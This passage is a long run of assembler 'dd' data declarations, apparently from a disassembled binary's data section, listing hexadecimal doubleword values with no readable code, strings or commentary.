0C700A89Eh, 655F48F9h, 39557B7h, 26C67608h dd 70E07782h, 27B51B5h, 0CE0D3400h, 12DEC5B3h, 811800A8h dd 134C87FFh, 0EF1F5DE2h, 65C1DB6Eh, 0B3FBBE1Dh, 842C4CA4h dd 0C0CCEAB1h, 0B2E646B8h, 2C87A100h, 88D62DFBh, 3AC4035Bh dd 9BF3D78Bh dd 32182AE0h, 6C96B224h, 3781F580h, 3F87BEh, 7F923A9Eh dd 0BB710C46h, 439D5400h, 7B3CCED4h, 0B7FA0960h, 0E000171Dh dd 0DCEE6B61h, 0A333220Eh, 2A83C2C9h, 0CB8EE0BFh, 0FE9C3BFFh dd 13B71100h, 0B9D97CD7h, 89839h, 0A7A035ADh, 96FC12h dd 58738D89h, 254B26CCh, 0B89044B0h, 0E1712E0Eh, 563520F7h dd 24D449C5h, 7C83B9h, 59A3F7Ah, 3B00D95Ah, 57D30D36h dd 9BBDFDh, 5CC2F890h, 2538D22h, 3D03EB07h, 0A120A785h dd 2EF78Bh, 63E94C0h, 0B6D4341h, 74EA2B00h, 8EDCD4BAh dd 68C500F2h, 5C678644h, 0B1F88F76h, 30182358h, 0CEA28031h dd 0F0550188h, 0BA3287FDh, 8A8C2009h, 2518D80Fh, 0E380DE1Eh dd 0A3D93E91h, 0FE7A0013h, 0D641EE87h, 5300B9B0h, 3E7C1A8Bh dd 7170EF6h, 0F2A4678Eh, 387DF081h, 92160387h, 771CA24Ah dd 0ED2B9145h, 0F341C600h, 7D518A9Eh, 19A767D5h, 0EC5DB2BBh dd 0FD46BA80h, 487CDC39h, 0AB3F042Eh, 5A12A00h, 3F335FE2h dd 141EA211h, 0A48507BDh, 4D8AF0A5h, 7A00CBEDh, 24307F61h dd 0CA26DCh, 91C1748h, 1ADD3F3Eh, 64A5B8C0h, 0E0D00Ah dd 13D31EE4h, 4DA3BB7Fh, 0FC495D00h, 6D0821BCh, 188F00CDh dd 5DCA24Ch, 58920C65h, 0E300A7FEh, 2824CE94h, 27F088h dd 0B2530306h, 0A498406Ch, 0D7612E00h, 0B6E29B34h, 0AAF38E6h dd 99BE0600h, 0D64BD236h, 8E431000h, 9451357Ah, 9D1B00D0h dd 53C9E87Dh, 86009221h, 0BE85EB13h, 13B9FF11h, 418D9D3Ch dd 0BD5DBA4Ch, 0A61EF472h, 0FEB59F05h, 30C01CC7h, 0B9955Bh dd 9CB876FDh, 1EF05FA0h, 0AE609209h, 0F10155FBh, 601BFEEAh dd 300F3872h, 0A181DA59h, 0C55ED37Eh, 1258C6D8h, 40D049C4h dd 0C8A50B0Ch, 1600B077h, 725BDCDAh, 49B2DDD5h, 58008C9Eh dd 0BF16C12h, 0D300925Dh, 3D56666Fh, 388D3F35h, 2034A1Eh dd 0AB4FCCDFh, 91C781F8h, 61D12402h, 60569AA9h, 185579C0h dd 79B44945h, 0B2063EA8h, 87F72F35h, 0D6370068h, 8859D59Eh dd 0B6FEA546h, 73B7B409h, 0FC480024h, 9CE826h, 0A99E3CA8h dd 12D2CC80h, 79F36200h, 916D8211h, 0EA42000Ah, 9771BCE2h dd 0DA0E7BEFh, 0E08CD95Ch, 3180C11h, 903226F3h, 0AA85072Ch dd 2CD11005h, 6A0042D3h, 1578437Dh, 1933C2Bh, 0AC129935h dd 201F4CDBh, 2900D568h, 3F3D114Eh, 7374100Fh, 0F1C400A1h dd 8E6B5DE6h, 450063C8h, 866A29B6h, 7A4CF99h, 14EE2E77h dd 329B308Dh, 0E400F344h, 3438DED9h, 2D3DC7h, 8295B7BBh dd 0A3024B6Bh, 0E3D04300h, 0E7EE9123h, 0F2762615h, 0C500380Fh dd 3A52847Fh, 27011241h, 0B2B87461h, 66F4A72Fh, 8F3100BBh dd 9C017EF9h, 0A00081E2h, 0B362DC19h, 1F1638FEh, 804B700Dh dd 21EBDE2Ah, 0D52EF726h, 280B53E7h, 0FD4C8069h, 0C33BD2h dd 0F3C84E1Fh, 0A0BEDC9Fh, 373E1000h, 0A8696050h, 22D40055h dd 0B1DD7B02h, 0F00BA4Eh, 405BD148h, 2C8EA65h, 0F0470792h dd 996070C9h, 3800EE68h, 21520AD5h, 6B0394h, 9D06F21Ah dd 845DDF4Ah, 6830B500h, 18BF9BA0h, 0FDDB0002h, 8FD3A135h dd 0A5008588h, 6D7023EEh, 171D102Dh, 40E82904h, 4F8047E0h dd 46244075h, 86005455h, 0FBAB2C85h, 33B30B37h, 6B809CC7h dd 0F8448C9h, 0A19DC607h, 0A520DC36h, 3C4EE4FEh, 4F805D07h dd 79300F4Dh, 460B0E7Ah, 90819996h, 736354h, 6771B1FCh dd 0FAB7CEA0h, 1DB85500h, 8DC83A01h, 0BD740043h, 2B088B91h dd 83016C5Bh, 89379364h, 8029C7F4h, 20081F1Dh, 66715606h dd 50851A5h, 683F5467h, 40101C4Dh, 9B17C603h, 11003E85h dd 0B2F89E23h, 2D46C40h, 0E82F6D21h, 0B560A8ABh, 71CED69h dd 6403A97h, 0E454956Eh, 0E3B21B09h, 99C050B7h, 0C18BC66h dd 591C69Eh, 3E742009h, 7805B1F0h, 66358C6Dh, 13D2ADC0h dd 31CE01FFh, 0BCE8C16Bh, 17D1F0F7h, 0EF6D8B01h, 0B9774B1h dd 0C7F95841h, 3E9EC0FBh, 853300EBh, 0B9A81157h, 0DCBA8DADh dd 38B50928h, 6D7B2B00h, 23F25083h, 247862h, 0C23A4AE9h dd 149D8461h, 3248431Eh, 34C0E29Eh, 0CF72A93Eh, 65B1000Eh dd 186342F2h, 0A81DC871h, 5501F096h, 3F17936Eh, 10A7CCh dd 0B287AE61h, 0FF955D24h, 8F002073h, 0BBFA31BDh, 70A040Fh dd 43F2C6BCh, 0A95FC08Bh, 0D1078851h, 27A7CE9Ah, 32F82550h dd 0CE9C0D3h, 9095FC06h, 33F9DE00h, 369391E9h, 0A5C700ADh dd 79CB9741h, 0A4FE8C5Bh, 3220B001h, 76F09F4h, 0EC62F0F7h dd 43154C01h, 2036B00h, 5F1C4734h, 0CC10502Ah, 3BBB901Dh dd 607399C0h, 0B6A99AEDh, 51B601BFh, 30C377A1h, 95CC57Bh dd 65D62EB8h, 4C056317h, 0B0408D74h, 0A8A5E0DCh, 7D470005h dd 0A650BD54h, 0F51876AFh, 3ED1220Dh, 757A90BBh, 0FFC3F8D9h dd 0E4BD1980h, 47B78568h, 8C89023Fh, 0A08769B5h, 0A91832F5h dd 0C8440729h, 93CD430Fh, 0C0CF071Dh, 0A7E6ADB0h, 85550074h dd 65B0364Ah, 8C1DEEC3h, 0D3C306DEh, 3F6E73h, 254DA649h dd 7B3935A4h, 602C361Fh, 4001D41Ch, 0A52D46BEh, 71C2DCh dd 4E8925BCh, 874164D2h, 0DF00DE90h, 96D624BAh, 98F040C5h dd 6EB30ED5h, 0D5813B8Dh, 0CCD469C3h, 4601891Dh, 0A9C1252Ah dd 288017F4h, 65B7A3D5h, 1106856Eh, 6902BDFh, 0C1A13108h dd 0C47F4D20h, 1F00646Ch, 28DAD38Ch, 79F2A61h, 0EB923AEh dd 0C351F37Dh, 58353000h, 4A0B10F8h, 0D0BF19C5h, 0BEE60852h dd 0F8E09C21h, 0EC5EE841h, 5450642Bh, 837EADh, 0FC77BD26h dd 4AF4F243h, 0CE95F07h, 0BFA0DB27h, 0CE16906Eh, 0BA860F31h dd 61F0A97Bh, 586AF71Eh, 12B1F680h, 0E888FF2Dh, 7C21C308h dd 0B44091AFh, 9500C9D5h, 0A95B0A73h, 74B6AC66h, 2FCE0024h dd 0BFE987CCh, 9428B29Ah, 0D40230EDh, 0B9151873h, 0C00840C2h dd 71A903C6h, 5B5F611Fh, 8B07EBD9h, 8E05E2E9h, 270486AAh dd 0A122F841h, 55186298h, 0B11F808h, 0DDFF70E2h, 309DF800h dd 0E5699CCEh, 0E391CF08h, 0DC6D38E0h, 0DD0B04F2h, 80B41CD7h dd 69FDCA10h, 0B81701EAh, 1234C350h, 0C943D3D4h, 280CEB04h dd 0A810396Ah, 0DC46E11Fh, 701E1900h, 0F403B09h, 0B2C4A3A9h dd 925872E9h, 0D303FCEAh, 0AD06C3F0h, 0DD29004Dh, 70B2C0EEh dd 7571A40Ah, 86539F0Eh, 379BC0D7h, 0AA3EE8h, 0B6F1B328h dd 0B1DA9ECh, 146F8F00h, 0E00E6C81h, 83453E84h, 4690F9Ch dd 802070EEh, 2ABFF677h, 59755B00h, 9612451Eh, 9FE10F83h dd 15600ECDh, 0AF57930Ch, 386380B5h, 8E7036h, 0F095A61Fh dd 51B7F98Dh, 24D2E001h, 20E2657Ch, 53926C0h, 1B58D86Eh dd 9C4E8155h, 0A15DC8A0h, 0A25339h, 8935D42Fh, 3023DDh dd 0F41C55C3h, 870D40D0h, 8487500h, 251EC25Ch, 978D0115h dd 7D7434E4h, 0C789CC2Ch, 1C11EF3Ch, 0E700E39Bh, 167B6329h dd 0C05803FBh, 0EEC18238h, 0E47268C8h, 0A8000F7Dh, 318BA9A0h dd 95DB50h, 75A132AAh, 4B458D2Eh, 0E4DE2D01h, 0AFB54E64h dd 0E1158C52h, 0E230D0A0h, 28F53878h, 0B8AA1D80h, 0F72E6618h dd 0E200F6FAh, 3A67ADD5h, 9D39Fh, 0E5C10FF2h, 4BBD0670h dd 6C6D7600h, 49DF0EFDh, 86970055h, 7ED643BEh, 487AECC9h dd 2E15Ch, 0FFE8C728h, 270AB6h, 7381C3B2h, 0BFD1FD9Fh dd 90A4F102h, 48B58836h, 541334h, 8414F272h, 0CF977AEh dd 0BB75300h, 0B4C889A5h, 0BCA90F94h, 1C4B54C2h, 0E4573880h dd 820C9C7Ch, 6A0377A6h dd 74690028h, 0AFE676B2h, 0E100C039h, 66F1053Eh, 0E31E42Ah dd 0EEABD223h, 0D1241EC3h, 0DA89BCCBh, 206182E0h, 23E53ABBh dd 36E8D6B8h, 12249BFDh, 0C8B88CDEh, 0DDB20002h, 783CA26h dd 21B90001h, 0EB456E2Ah, 38070A0Eh, 0C3AEBEACh, 9D576C10h dd 0CC4ECB8h, 275B4766h, 95038EE0h, 2637F3DCh, 0D0DEC9FEh dd 0DB091880h, 0B5FAD05h, 80F76C00h, 2E915B04h, 471A0036h dd 53921009h, 0D860A5F5h, 0EF17F8D8h, 63A8C0ECh, 7E54318Dh dd 5CD1E100h, 0EA793E88h, 9A2A0FE7h, 5D3F6C8Eh, 0F0974009h dd 1AC85160h, 0A28C2400h, 2DF598D2h, 244004Fh, 0A741BBC9h dd 6F004C81h, 8C529ADBh, 2CA9D684h, 80647B80h, 0DFEB34CEh dd 0B544385h, 0AF128D9Ch, 0FE023ACDh, 7F4FE7BDh, 302A6F07h dd 82AECBBEh, 443BC200h, 0E552CC7h, 9C283C84h, 0D9870074h dd 204E67B8h, 46791986h, 3C98F9E6h, 6340C100h, 0F3A3662Ch dd 0C0587D1Ah, 0B2769870h, 7B03C30Bh, 280ADC20h, 58F290B6h dd 0C8A402EAh, 0FE925401h, 0D23272E0h, 0BE01A9D6h, 0EB1BD715h dd 30C5FDF8h, 6748D130h, 0F700B959h, 40E91C14h, 0CA0E8FBFh dd 205C36F0h, 312FA14h, 3797C89Dh, 90A4585Ah, 0A855CD60h dd 0ECAB2AF6h, 0F2034BF8h, 0E40C4FE8h, 89E787BEh, 42DB01B3h dd 1BA4E8C8h, 6E38D803h, 0BE8F6C00h, 2598338Dh, 0A30A013Bh dd 3157F390h, 0D58244Ch, 6849C009h, 2BBC00CEh, 78AF93Eh dd 1E6CA3BBh, 2882F66Ah, 0F5676800h, 0B92A8687h, 0E85900C3h dd 0B5701819h, 4E095890h, 20BF69B8h, 0F37C4C6Ch, 3E2A00EBh dd 3A2B3575h, 6C076A8Dh, 0B787907Bh, 0D69CC8FAh, 0A0CFD2C0h dd 14CAC0C4h, 9034E0CDh, 0A9534D86h, 49707901h, 0B59BF759h dd 5655E8h, 71857FDAh, 0EA4302B2h, 0D580CA51h, 0FB3404Bh dd 180078D5h, 66C304ECh, 625E6A1Ah, 622F79A1h, 0D0E80443h dd 9803ACFAh, 99B21847h, 3C419D04h, 8727C2Ch, 1A62B450h dd 86340209h, 2FA50EA8h, 0C4BB3C41h, 3D1EFB2Ch, 13C1E3BDh dd 9503716Eh, 52443AFCh, 7980D857h, 8A244705h, 37B72D00h dd 8E7A2B5Fh, 4D160058h, 8093F7EFh, 0FB601E1Bh, 476391B1h dd 0D4ED09C5h, 80094A7h, 4E3A5230h, 13941958h, 0B4006DBBh dd 16CAC1EBh, 4537389h, 83766699h, 0BD7C8879h, 9CE0CC00h dd 0C415D5FCh, 2D4B214h, 60CEE92Ah, 404034FFh, 0C73F619Ch dd 12707FFBh, 0D9E4F200h, 0F2E4996h, 0EC99FE2Ah, 0D471A0h dd 57F28F91h, 0DD92C76Bh, 86CF7509h, 9E5C2053h, 8AF34C30h dd 20552C87h, 5CC3E99Ch, 2497E801h, 3259EC07h, 873FE834h dd 22D7CD02h, 4674481Ch, 40B8009Ch, 1E264B90h, 0AE0057DFh dd 0C1A02AA7h, 0FD3E89Dh, 0E42B6AB1h, 0BAEBA583h, 0C95BEAA8h dd 0DC857728h, 2300297Dh, 0B93BC7BFh, 745826E1h, 0F92F0020h dd 9A2B7BD5h, 5D17B546h, 3400E5F8h, 10BC92ADh, 63D50055h dd 5E32C868h, 98EC5929h, 80C1FE03h, 9F575653h, 4588ED81h dd 25AA6E4h, 585BAB12h, 0E4C05C0Ah, 0CC00A3F5h, 0A552C049h dd 1E2060F2h, 80D26CF6h, 2A58C470h, 0BF68DEFh, 6C980F26h dd 9BC9A480h, 29A221h, 0F1E7BA37h, 0FE6EEB7Fh, 4F45B07h dd 25B00286h, 0BFBC89h, 75698868h, 0B710B650h, 63779D04h dd 0CCC373F3h, 40CF9272h, 0E64F00h, 0D5CBDB52h, 0EEA9D337h dd 30835891h, 9822812Fh, 0C4E82h, 55B1C7A2h, 7D87A309h dd 74E3D600h, 3C71C2EBh, 0CECB09CDh, 480072F3h, 0E04A8957h dd 93500A77h, 0EC001BE4h, 0F57FB983h, 7C9CB609h, 32A9006Ch dd 0C4F1754Fh, 823F6F2Bh, 5BB8806Bh, 9F6A5CBEh, 4E74A7h dd 1499EFCBh, 83C1E41Eh, 588C9407h, 6CF13CA4h, 8AFC299Eh dd 203160D8h, 0A5478BBEh, 545ACB00h, 49344422h, 976E00C6h dd 0AAF3D98Eh, 9E1E2965h, 0F700E0F4h, 4499411Dh, 5EB20426h dd 0B00A77EFh, 54B2210Ch, 0DE4B8E01h, 79DD936Fh, 473020h dd 3BF0EF9Ah, 1F29B526h, 0A600C079h, 7DB86C81h, 9E19B8Dh dd 0AE9C3442h, 0FDBD2C80h, 2505CE1Fh, 0D165C7EDh, 8912C480h dd 0FADC7969h, 0D8050309h, 0D56D25F5h, 600D85B1h, 2D00EF20h dd 891DE96Fh, 17BE9Eh, 0FA8DC975h, 0DF48B549h, 76AB1800h dd 3A1962AAh, 0C2090B84h, 702015DAh, 0FDCDBB55h, 485C59h dd 0D8E82247h, 2C3460h, 452F1A93h, 4AD17C1h, 6D75C8C4h dd 9360F8C9h, 15442C62h, 0F4CF08ACh, 40C0DE9Eh, 97805055h dd 113B0B34h, 86DC51A9h, 0CDB90Bh, 0B384F930h, 2C0F49A4h dd 0D780743Bh, 0FE58A20Bh, 4200BBA7h, 9162E8A9h, 2683F4C1h dd 1084A806h, 600093E5h, 0DA036AEh, 1A8305E2h, 98A7B3h dd 649BECC4h, 6000A380h, 6D020B8Ch, 6FA4C0h, 33E61663h dd 0E1062EE0h, 73528409h, 784800C6h, 98DCCED3h, 0F87150h dd 60BBFD59h, 291037Eh, 1100FCE6h, 758EB93Ah, 2569EED3h dd 6C20C17Bh, 87CD76B2h, 4CBC5100h, 0B7027730h, 97250B39h dd 54B00ED6h, 37EA1A94h, 52B20912h, 56F20880h, 54C4789Ch dd 1ECB949Fh, 8394BC42h, 3455B5B9h, 0E1871909h, 0B0EE88F5h dd 517905BDh, 64D05BA3h, 0B150949Eh, 0FAB80078h, 487EC6B6h dd 1E0AD58h, 77420544h, 6FF0547Ch, 0BEFE487Ah, 44000452h dd 5635E091h, 8E00D37Dh, 4D2790E4h, 0B80DE8B9h, 0C83B4CCBh dd 0C22F1CC1h, 17EC32DCh, 9074FD3Eh, 7A2DC700h, 91DBBEh dd 7B9A2FFCh, 4690270h, 2243AE00h, 5407A54Dh, 0BB183BA7h dd 2652518Ah, 70127B5h, 8074C42Ch, 7873FE70h, 1C487CFFh dd 0CFA38ACBh, 0F4E1D24Ah, 48B1E0E4h, 0F7042D7Ch, 9DBA5EBBh dd 0A0830EFBh, 7D267E40h, 5A004850h, 54901C85h, 5C27862Bh dd 0E400F81Bh, 63804D83h, 0DD001053h, 0FA029222h, 2C47C8A9h dd 1028C0Fh, 72372DF2h, 0B19882D1h, 40575820h, 0D33ECh dd 438F2BBEh, 79F8CF8Bh, 0A0857C09h, 0EC6000F2h, 0C5FAAC19h dd 45C4D038h, 0D0CE9694h, 6FAE9BB4h, 94A4E717h, 99DDFC21h dd 71240020h, 0A0A9073Bh, 4CA673h, 777D52A7h, 83782538h dd 5AC658ACh, 682788FAh, 0B73E0049h, 0DB54EF9Fh, 3C48A198h dd 31D00038h, 0B0CE1670h, 3609004Eh, 0F244E463h, 8C034BFDh dd 0C32E4293h, 0D748C8E3h, 456A00D1h, 0CA310C11h, 0C1072695h dd 657383CCh, 34C0A044h, 0F2120602h, 774726D6h, 512054FCh dd 21C8000Dh, 4AC47A14h, 0B0F21207h, 65A77400h, 0F128D12Ah dd 0C04307A1h, 15876018h, 5700EB49h, 3BC5DDAFh, 0ACD9016Ah dd 0D0135CB6h, 0B9DE01Ch, 0A1ABF407h, 87A38C98h, 3B22B0E4h dd 837800BEh, 0C2C30857h, 8F3DDED2h, 4F9C806Ch, 0B15F9E2Ah dd 0FCF7010Bh, 0B65A910Fh, 0C1B330A3h, 0FDD2B42Eh, 0CEE7FE00h dd 5D88EAh, 0E20542A2h, 0AB81E865h, 0DB55220Eh, 0FB0B4049h dd 1BE3AD4h, 1D147B0Ah, 0CCE17C9Dh, 0C091B05h, 632821F6h dd 2AB8D8E4h, 650E0301h, 78D84452h, 56F06D8h, 0CB195E00h dd 0D2926ABBh, 518F18F1h, 2C0BB4CEh, 44B3BC00h, 99ACBBB1h dd 1470F015h, 0A44579B5h, 0AA26D600h, 0EF7A8BD8h, 6C93EE24h dd 832314h, 0F8E9B1CAh, 574825Fh, 8727D98h, 0E6E018DEh dd 4700C066h, 0EE449792h, 96B0B60h, 222918FDh, 1C8E3100h dd 3A00ABC4h, 445D0F50h, 350989h, 2CBA4F6Ch, 6273A6F2h dd 959CE301h, 3B151EC3h, 2EFB4030h, 3CF0BF35h, 9E3D245Ch dd 68369F80h, 0A3691015h, 0ED0C1D1Fh, 6178CF40h, 28749h dd 30B87B40h, 0F0E3CCDh dd 0C396E00h, 0EE075122h, 0BD0807A5h, 0FE3D013Bh, 8D4E4180h dd 889CE58Fh, 0AAA8BB41h, 6A19E828h, 27E15265h, 5EFB074Ch dd 0D0100431h, 966A923h, 559C4D6h, 41375400h, 0F77F99CCh dd 3B176400h, 6D5FAB10h, 66DC00BCh, 8732559Eh, 520060AAh dd 432244D3h, 46085Bh, 3FB56E7h, 51D21186h, 0C6A5D133h dd 74FFD09Fh, 3849C5Eh, 0E19D5FE9h, 23A928C0h, 0B6F05A01h dd 0A72705ECh, 0DD5C70h, 0F13C480Ah, 5C98526Eh, 269EB00h dd 2E2230F0h, 25CD003Eh, 9C0C5BACh, 5E00FAD1h, 0F51F2ABBh dd 8D62BCh, 6B7AA7DCh, 0B56C8B5Dh, 876E943Ah, 3CB2DEBBh dd 0D4A600FEh, 9AE8C349h, 0CDE30034h, 7F233B0Dh, 64000EEDh dd 0D7F735B5h, 3832D22h, 300F73FDh, 59834ABh, 0CF00C92Ch dd 8F2ABF86h, 2845E346h, 4BC2EB6h, 6B3155E2h, 37E78048h dd 0D3002FEDh, 0B2829101h, 0B8DE8Ah, 380B9FF3h, 0D7243574h dd 0D819FF24h, 2A99BF00h, 0CBF592h, 67B87A91h, 0F22DBA2Eh dd 7DAB4700h, 9EE121D9h, 6E81CB1h, 0D46CF028h, 453FCB6Dh dd 4CCA01FBh, 11C6B91Fh, 8700082Ch, 32C710Ch, 6816E74Fh dd 0DC00CB50h, 0D8B0B1CFh, 13A7000Ah, 0FD718C2Fh, 0B3021B0Eh dd 0C0FA9C15h, 80ACE0DEh, 58F2AEh, 0D21243B5h, 0E0C94C8h dd 0CBD4A41Dh, 8FEFB080h, 0B099BC31h, 89D61F13h, 3EA1004Bh dd 0A0311A7h, 1D37FB00h, 0AA9C226Bh, 794A0093h, 7B8B70CDh dd 0D61D9996h, 514E12B7h, 63042017h, 38301065h, 1D16E9DCh dd 3B904162h, 0F8B750A4h, 0F8002998h, 6D8F34A2h, 188E15Eh dd 4EFDE46Ch, 0E03CB30Bh, 2D003F94h, 36E7A5D5h, 2DFF804Ah dd 0DC80BEA9h, 5B0C4F5Ah, 7DFB9926h, 0E4AE0B00h, 9EB51h dd 914B9D29h, 0DB26E5E2h, 1C247900h, 2E32777Ch, 0D4891DAAh dd 0A2B3C0ADh, 95D8FEBFh, 0B11FAE00h, 532DF6Fh, 94190082h dd 475B97D7h, 0F30039A5h, 1C66D553h, 0F07714A3h, 0C2E00028h dd 9992A47Eh, 1A00D6BEh, 88A6F7D8h, 0BE6D3F9Ch, 92D50698h dd 0FA00209Dh, 208F7C5h, 0C1FA8D8h, 287FBCB7h, 0D03AB3D0h dd 30EFCFh, 5A884690h, 0D5D0B7BAh, 10792A17h, 6AE06F07h dd 86DF3ED0h, 1918A0D2h, 4834671Fh, 0B8F2F0E0h, 1201B1BEh dd 8C18BA89h, 7987B3C2h, 40DB13E2h, 425A8B8Fh, 0C2407E50h dd 0B0A20C0h, 5021BCA5h, 86C54C2Bh, 9A5640h, 0AEBAE3F2h dd 0A1C4638Eh, 0CCFC9E00h, 93F8B5B6h, 2A470005h, 918D8112h dd 0E517678Ah, 10090ABFh, 5DEC409Fh, 0D5310F7Ah, 89E12248h dd 9FD1A693h, 15801C69h, 66AC598Ch, 0CA38008Ah, 0D287164Bh dd 560088F9h, 3E0639F3h, 24E0D5C1h, 810CA599h, 0A4CF6ED3h dd 25EEC0C7h, 0F7E8381Dh, 2480CB13h, 7BD217F8h, 0A7D6000Fh dd 4BD3C63Fh, 2A765ADCh, 635B903Ah, 1ED0B58h, 9B81E130h dd 0B7D5A7AFh, 78CDA118h, 0D2F530FAh, 18C7A108h, 40D464F1h dd 0FCD2BAE5h, 0BCF425E0h, 0B15EAC00h, 4972180Ah, 80CAC03Dh dd 0F7041E7Ch, 681B46h, 4BF63B03h, 57400D88h, 0FB11C8A8h dd 107E9B01h, 54CABF0Ah, 0EB8190DFh, 28730188h, 0FF860C4Ah dd 88904FCCh, 0A235C0BCh, 6D006EB3h, 0DA5D3D1Bh, 79BE99Eh dd 11548923h, 0DA730D7h, 4B3AA52Fh, 9461808Eh, 7BB2C14Fh dd 0A8C25017h, 6D82178Ah, 7D900098h, 0FD3F743Ah, 86617100h dd 1BE8225Bh, 79FBE8DBh, 7B3730D0h, 0E829D5Ah, 0F1A1EB00h dd 7A6F3467h, 8BF005FAh, 0C0C168F2h, 551E65AFh, 71C4F02h dd 604DB43Bh, 0F2580CFDh, 389B0012h, 77933708h, 0D107A3EDh dd 3931D8B6h, 0D7D02863h, 8CB96520h, 1F9B0082h, 12AC7D7Ch dd 4002D852h, 3F0981A9h, 6AAC40D4h, 0C5F60097h, 0FCB43FEh dd 9A0757FDh, 6C0A2346h, 0A99011F7h, 1DFA9E41h, 8A38F3h dd 142B5DE5h, 9C169331h, 3200B3C8h, 525A8DF8h, 845C0134h dd 2B6336BCh, 0E63BF050h, 7464CE0Fh, 0AA226180h, 88045A4h dd 4FF18A2Ch, 19FEC2EDh, 7363D000h, 0D41371E0h, 58996284h dd 0DE0F89F5h, 2662D35Ch, 1944A968h, 0ECC2110Bh, 8D07481Fh dd 0C54751FEh, 0C0C3080Ch, 1FF9E221h, 6B12EFBFh, 3803A0F0h dd 38BFACCh, 47A62221h, 980020AEh, 0EDE74BD0h, 3BF460BDh dd 9EC85D6Eh, 81AA2862h, 172C4DC0h, 0F4F2183Eh, 55B24A1Ch dd 0B3124087h, 0E0A28DCh, 369BF686h, 0E37E7323h, 5D060900h dd 0DEA2253h, 0DEA807F7h, 706BD5h, 69954644h, 0FF083501h dd 9EBDEBC0h, 0ADB38180h, 699440DCh, 18EDCB3Ch, 0AA485874h dd 4A01007Fh, 0E637B063h, 170097C7h, 0D4CA4461h, 0F0C628Bh dd 63CF164Eh, 67C2E5E7h, 42F95C39h, 669FA31Eh, 0B74E9640h dd 1CEDF27h, 3523B267h, 0CCC9E395h, 13004915h, 37225986h dd 2AF8B729h, 0CC804Dh, 50CD09EFh, 26FA1017h, 2237F601h dd 0D3E5A85Bh, 58C57080h, 345925ACh, 4F05AA00h, 6D3D4082h dd 5020C008h, 270D1146h, 8420E253h, 2B603B83h, 0B8AC26B2h dd 813DF6FCh, 91DCA136h, 9BFC0005h, 7C7F71F6h, 25A70099h dd 0E26C1967h, 3253BDB4h, 3017A2E0h, 0ED00A676h, 436A3310h dd 69958C4h, 7434FBCAh, 0AA00C884h, 0D411C004h, 711656BFh dd 0F96A00F4h, 0EE07AE5Dh, 291F9538h, 0B280B582h, 4BEFB4FDh dd 78E33A72h, 815E860Eh, 0C0BA6240h, 0DCA00528h, 0E0AA3039h dd 8B137340h, 8FB77338h, 80F21036h, 0C9978F44h, 3A3F0711h dd 2206F5EDh, 64415983h, 0C0C2172Bh, 0E07881FBh, 14219B39h dd 3C5A760h, 0C03A369h, 0D822F026h, 27360C71h, 0B081E738h dd 3A333F00h, 0E32F1539h, 0EE9E00D3h, 0C998AC5Eh, 4700B148h dd 0C1E64EB9h, 0C637DF81h, 79ACEA39h, 0DD3FCE05h, 66C05FCFh dd 71D727E8h, 18E10072h, 4B44384Ah, 45023EC0h, 4730F797h dd 0EBACA59Fh, 8086C52h, 1F4AC399h, 56268CA8h, 3FDD4486h dd 4D1F2400h, 0CDED935h, 20CB0077h, 17849A39h, 3806B8C0h dd 0A9E248BBh, 0BD6903A9h, 11B4974Bh, 43E39498h, 0DDE0C650h dd 0B6911412h, 0F1A05402h, 4E9487C7h, 23DA7B32h, 4900BAEDh dd 9F668E80h, 72CED14Dh, 0AF5D0342h, 2A9A3B2Fh, 50096CC8h dd 28619B15h, 4E8C00D4h, 0B4A9454Bh, 0CFC72CC2h, 44493AA5h dd 2655AA00h, 0E87BA04Bh, 0AEBDEE00h, 0ECB61F32h, 601673FBh dd 18B948B2h, 90C90A73h, 0F7009038h, 49A00DCh, 13A67A41h dd 67145F45h, 80D0EC22h, 0CB6B3E55h, 0ADEE4Eh, 9F621413h dd 429C80DFh, 3024DA24h, 24B3FAC3h, 40807B39h, 941F53CAh dd 4D575F0Ah, 843FD78Dh, 0FD899683h, 4BDF3881h, 0AB74D4h dd 0DD8BD982h, 0B9D68FB1h, 0EBC11F02h, 605833C5h, 7125FA84h dd 0EE88049Eh, 0C0DDD995h, 23277F10h, 0B5364A1Eh, 0B7181C00h dd 3985F81h, 4DEBB079h, 40062BE1h, 0A45B1FB1h, 0BBCD0058h dd 0C6F67BB4h, 721E369Eh, 0E90257FBh, 9D7E9CC3h, 8F4611C4h dd 6A3FC1D8h, 7161794Ah, 388A0F2h, 1A5D638h, 23BE728Bh dd 644B4A51h, 0F7007084h, 21D83480h, 3AD0F29Eh, 0EB2A9D09h dd 0CF9300D8h, 6B2A4380h, 0ED029EEEh, 0FA5B9732h, 7160C488h dd 0B551263Dh, 0DB7989A8h, 0BCDDC80h, 220B5229h, 8343592Eh dd 9BA8721Fh, 8D9817BEh, 7F5B0B47h, 9DF53800h, 52002A6Dh dd 4FF08317h, 60268F8Bh, 0C2C205Eh, 0AFF2F30Fh, 0B80820A7h dd 0D49DC98Ch, 9380EE11h, 49D3AC87h, 0BD15DF00h, 0C3E39F9Ch dd 4E6116F8h, 776031D2h, 40E3F74Fh, 0CAEA601h, 47D15AF4h dd 255E9ECh, 0A534DEC8h dd 0B8B05723h, 9E118081h, 88691D8h, 7D01203Dh, 993980D9h dd 0AEF8C26Ah, 696239C5h, 651B9C80h, 0ED3885D0h, 0FC475324h dd 0F346E820h, 9A809D03h, 37ACF1D8h, 659161DCh, 2F020D5h dd 35F5A9A5h, 1F8DD4A0h, 7E040E31h, 0F0500AC0h, 4354098h dd 6CA9444Bh, 0B0331Eh, 4B6D3221h, 20BDE9B9h, 1A50C062h dd 0C9006346h, 23F87687h, 311666C1h, 18FDB82Ch, 9D800A0Ch dd 708C79D8h, 80078492h, 0E0A79C3Fh, 6D1620FFh, 0C87F7402h dd 0B4C0D9B1h, 21A94863h, 889D37A4h, 6C3307E0h, 0D0A0BA4Bh dd 9BA831FCh, 88921B07h, 0C0CC014Ch, 518D7317h, 10823055h dd 0BF6B06B2h, 0B0FFBCC0h, 7DE64798h, 0E0B3BE00h, 1F6DB544h dd 703F0030h, 0A8348E47h, 6300F6D1h, 0A0100E65h, 0D9D616h dd 9E8FEE66h, 3F85C67Ah, 8EC0F83Dh, 4097D55Fh, 0C1CA867Ch dd 7D63E34h, 8347AC00h, 3F32D2EDh, 0B000D3FCh, 0B29B1B90h dd 0DC55F8h, 0C51D5887h, 24404E36h, 0E9D5900h, 0E12A718Eh dd 0F955001Ch, 0BBD30BCAh, 0E90194A8h, 84D072DDh, 498397A1h dd 2CA31BBFh, 0D6B915C0h, 5B740306h, 7021717Bh, 0D2CF0FE8h dd 7640786Fh, 95F12D0h, 0F1A31C03h, 0E194BFFFh, 58C845BEh dd 50BB03A6h, 